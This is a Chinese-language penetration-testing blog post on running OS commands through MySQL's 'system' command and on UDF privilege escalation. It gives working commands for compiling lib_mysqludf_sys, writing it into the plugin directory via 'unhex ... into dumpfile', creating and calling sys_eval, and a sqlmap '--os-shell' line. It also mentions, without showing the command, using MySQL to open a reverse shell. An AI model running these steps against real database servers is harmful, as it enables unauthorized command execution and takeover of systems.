MySQL的system命令在滲透測試中的使用以及UDF提權
阿新 • • 發佈:2018-01-31
style data erro 重新 pos empty linux類 directory 意思
一、MySQL中的system命令
在MySQL 5.x中增加了system命令,簡單的符號是\!,從而使MySQL可以執行系統的命令
1 mysql> system echo "12345" 2 12345
因為突發奇想,可以使用這個辦法反彈shell
結果OK:
嘗試和select拼接執行,這樣是成功的
想到這裏其實可以拼接在SQL註入語句中執行OS命令,或者能連上MySQL之後直接執行OS命令反彈shell。
二、MySQL UDF提權
這裏按照linux類操作系統舉例了,服務器端用windows真的沒意思了,雖然還有很多。https://github.com/mysqludf/lib_mysqludf_sys解壓後進入(git clone後直接進入)目錄:
1 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
如果遇到報錯:
1 In file included from lib_mysqludf_sys.c:40: 2 /usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory
可以做如下修改:修改/usr/include/mysql/my_global.h文件,註釋626行後重新編譯。並使用Hex.hta獲取16進制。
1 mysql> show variables like ‘%plugin%‘; 2 +---------------+-------------------------+ 3 | Variable_name | Value | 4 +---------------+-------------------------+ 5 | plugin_dir | /usr/lib64/mysql/plugin | 6 +---------------+-------------------------+ 7 1 row in set (0.00 sec)8 9 mysql> select * from func; #檢查是否已經有人導出過了 10 mysql> select unhex(‘hexcode‘) into dumpfile ‘/usr/lib64/mysql/plugin/mysqludf.so‘; 11 Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目錄的寫入權限 12 13 mysql> create function sys_eval returns string soname ‘mysqludf.so‘; 14 Query OK, 0 rows affected (0.00 sec) 15 16 mysql> select sys_eval(‘whoami‘); 17 +--------------------+ 18 | sys_eval(‘whoami‘) | 19 +--------------------+ 20 | mysql 21 | 22 +--------------------+ 23 1 row in set (0.03 sec) 24 25 mysql> select * from func; 26 +----------+-----+-------------+----------+ 27 | name | ret | dl | type | 28 +----------+-----+-------------+----------+ 29 | sys_eval | 0 | mysqludf.so | function | 30 +----------+-----+-------------+----------+ 31 1 row in set (0.00 sec) 32 33 mysql> drop function sys_eval; 34 Query OK, 0 rows affected (0.00 sec) 35 36 mysql> select * from func; 37 Empty set (0.00 sec)
或者使用sqlmap 執行提權:
1 #sqlmap -d "mysql://root:[email protected]:3306/test" --os-shell 2 #test的地方是database name
MySQL的system命令在滲透測試中的使用以及UDF提權